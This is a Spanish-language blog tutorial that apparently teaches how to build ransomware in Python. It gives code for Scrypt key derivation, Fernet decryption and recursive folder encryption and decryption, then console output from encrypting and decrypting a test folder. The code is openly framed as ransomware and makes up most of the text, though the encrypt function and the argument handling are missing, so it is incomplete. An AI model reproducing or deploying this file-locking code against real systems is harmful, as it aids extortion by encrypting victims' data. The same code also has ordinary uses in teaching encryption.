Cómo hacer un ransomware en Python
Cómo hacer un ransomware en Python
Aprenda a crear un ransomware mediante el cifrado simétrico (algoritmo AES) con la ayuda de la biblioteca de criptografía en Python.
El ransomware es un tipo de malware que cifra los archivos de un sistema y los descifra solo después de que se paga una suma de dinero al atacante.
El cifrado es el proceso de convertir texto sin formato, que son datos que pueden leer los humanos, en texto cifrado, que es una versión codificada de los datos que es imposible de leer para los humanos. El proceso de convertir el texto cifrado en texto sin formato se conoce como descifrado.
El cifrado se utiliza para proteger los datos durante la transmisión, el almacenamiento y el procesamiento. Es una herramienta fundamental para proteger la información del acceso no autorizado y es esencial para mantener la confidencialidad e integridad de los datos. El cifrado se utiliza en una variedad de aplicaciones, incluidas las comunicaciones seguras, la banca y las compras en línea seguras y la protección de datos confidenciales almacenados en computadoras y servidores.
para comenzar a escribir el ransomware, debemos instalar la biblioteca de criptografía:
$ pip install cryptography
Hay muchos algoritmos de cifrado por ahí. Esta biblioteca se basa en el algoritmo de cifrado AES.
Abra un nuevo archivo, llámelo ransomware.py e importe lo siguiente:
import pathlib
import secrets
import os
import base64
import getpass
import cryptography
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
Derivación de la clave a partir de una contraseña
En primer lugar, las funciones de derivación de claves necesitan que se agreguen bits aleatorios a la contraseña antes de que se convierta en hash; estos bits a menudo se denominan sales, que ayudan a fortalecer la seguridad y protegen contra ataques de diccionario y de fuerza bruta. Hagamos una función para generar eso usando el módulo de secert:
def generate_salt(size=16):
"""Generate the salt used for key derivation,
`size` is the length of the salt to generate"""
return secrets.token_bytes(size)
Estamos usando el módulo de secret en lugar de aleatorio porque los secret se usan para generar números aleatorios criptográficamente fuertes adecuados para la generación de contraseñas, tokens de seguridad, salts, etc.
A continuación, hagamos una función para derivar la clave de la contraseña y la salt:
def derive_key(salt, password):
"""Derive the key from the `password` using the passed `salt`"""
kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)
return kdf.derive(password.encode())
def load_salt():
# load salt from salt.salt file
return open("salt.salt", "rb").read()
Ahora que tenemos las funciones de generación de sal y derivación de clave, hagamos la función central que genera la clave a partir de una contraseña:
def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
"""Generates a key from a `password` and the salt.
If `load_existing_salt` is True, it'll load the salt from a file
in the current directory called "salt.salt".
If `save_salt` is True, then it will generate a new salt
and save it to "salt.salt" """
if load_existing_salt:
# load existing salt
salt = load_salt()
elif save_salt:
# generate new salt and save it
salt = generate_salt(salt_size)
with open("salt.salt", "wb") as salt_file:
salt_file.write(salt)
# generate the key from the salt and the password
derived_key = derive_key(salt, password)
# encode it using Base 64 and return it
return base64.urlsafe_b64encode(derived_key)
Cifrado de archivos
def decrypt(filename, key):
"""Given a filename (str) and key (bytes), it decrypts the file and write it"""
f = Fernet(key)
with open(filename, "rb") as file:
# read the encrypted data
encrypted_data = file.read()
# decrypt data
try:
decrypted_data = f.decrypt(encrypted_data)
except cryptography.fernet.InvalidToken:
print("[!] Invalid token, most likely the password is incorrect")
return
# write the original file
with open(filename, "wb") as file:
file.write(decrypted_data)

Agregamos un bloque simple de prueba y excepción para manejar la excepción cuando la contraseña es incorrecta.
def encrypt_folder(foldername, key):
# if it's a folder, encrypt the entire folder (i.e all the containing files)
for child in pathlib.Path(foldername).glob("*"):
if child.is_file():
print(f"[*] Encrypting {child}")
# encrypt the file
encrypt(child, key)
elif child.is_dir():
# if it's a folder, encrypt the entire folder by calling this function recursively
encrypt_folder(child, key)
No es tan complicado; usamos el método glob() de la clase Path() del módulo pathlib para obtener todas las subcarpetas y archivos en esa carpeta. Es lo mismo que os.scandir() excepto que pathlib devuelve objetos de ruta y no cadenas de Python regulares.
def decrypt_folder(foldername, key):
# if it's a folder, decrypt the entire folder
for child in pathlib.Path(foldername).glob("*"):
if child.is_file():
print(f"[*] Decrypting {child}")
# decrypt the file
decrypt(child, key)
elif child.is_dir():
# if it's a folder, decrypt the entire folder by calling this function recursively
decrypt_folder(child, key)
$ python ransomware.py -e test-folder -s 32
He especificado que la sal tenga un tamaño de 32 y pasé la carpeta de prueba al script. Se le pedirá una contraseña para el cifrado; usemos "1234":
Enter the password for encryption:
[*] Encrypting test-folder\Documents\2171614.xlsx
[*] Encrypting test-folder\Documents\receipt.pdf
[*] Encrypting test-folder\Files\Archive\12_compressed.zip
[*] Encrypting test-folder\Files\Archive\81023_Win.zip
[*] Encrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[*] Encrypting test-folder\Pictures\crai.png
[*] Encrypting test-folder\Pictures\photo-22-09.jpg
[*] Encrypting test-folder\Pictures\photo-22-14.jpg
[*] Encrypting test-folder\test.txt
[*] Encrypting test-folder\test2.txt
[*] Encrypting test-folder\test3.txt
$ python ransomware.py -d test-folder
Enter the password you used for encryption:
[*] Decrypting test-folder\Documents\2171614.xlsx
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Documents\receipt.pdf
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Archive\12_compressed.zip
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Archive\81023_Win.zip
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\crai.png
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\photo-22-09.jpg
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\photo-22-14.jpg
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test.txt
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test2.txt
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test3.txt
[!] Invalid token, most likely the password is incorrect
$ python ransomware.py -d test-folder
Enter the password you used for encryption:
[*] Decrypting test-folder\Documents\2171614.xlsx
[*] Decrypting test-folder\Documents\receipt.pdf
[*] Decrypting test-folder\Files\Archive\12_compressed.zip
[*] Decrypting test-folder\Files\Archive\81023_Win.zip
[*] Decrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[*] Decrypting test-folder\Pictures\crai.png
[*] Decrypting test-folder\Pictures\photo-22-09.jpg
[*] Decrypting test-folder\Pictures\photo-22-14.jpg
[*] Decrypting test-folder\test.txt
[*] Decrypting test-folder\test2.txt
[*] Decrypting test-folder\test3.txt
Comentarios
Publicar un comentario